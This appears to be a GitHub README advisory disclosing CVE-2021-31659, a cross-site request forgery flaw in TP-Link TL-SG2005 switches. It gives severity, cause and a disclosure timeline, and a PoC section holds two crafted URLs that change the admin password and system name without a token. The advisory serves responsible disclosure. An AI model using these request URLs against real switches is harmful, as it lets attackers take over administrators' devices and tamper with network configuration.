liyansong2018 TP-LINK Switch CSRF ... on May 27, 2021 History

..

README.md last year

README.md

CSRF on TP-Link Smart Switch

Overview

- **CVE ID**: CVE-2021-31659
- **Type**: Cross-Site Request Forgery (CSRF) - *(352)*
- **Vendor**: TP-LINK (https://www.tp-link.com)
- **Products**: Switch, such as TL-SG2005, TL-SG2008(US), etc.
- **Version**: 2.0 (1.0.0 Build 20180529 Rel.40524)

Severity

High 7.6 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:L

Description

TL-SG2005 is vulnerable to Cross Site Request Forgery (CSRF). All configuration information is placed in the URL, without any additional token authentication information. A malicious link opened by the switch administrator may cause the password of the switch to be modified and the configuration file to be tampered with.

PoC

```
# modify password
http://192.168.0.1/usr_account_set.cgi?txt_username=admin&txt_oldpwd=admin&txt_userpwd=admin123&txt_confirmpwd=admin123

# modify name
http://192.168.0.1/system_name_set.cgi?sysName=TL-SG2005
```

Reason

All parameters are placed in the URL and no token is set, which leads to CSRF attack on the switch. The attacker can set all the configurations of the switch, and even set up port mirroring to capture user Internet traffic.

Disclosure Timeline

- 10-Apr-2021 Discoverd the vulnerability
- 11-Apr-2021 Responsibly disclosed vulnerability to vendor
- 13-Apr-2021 Vendor Acknowledged the issue
- 16-Apr-2021 Requested for CVE-ID assignment
- 23-Apr-2021 CVE-ID Assigned
- 26-May-2021 Notify CVE about a publication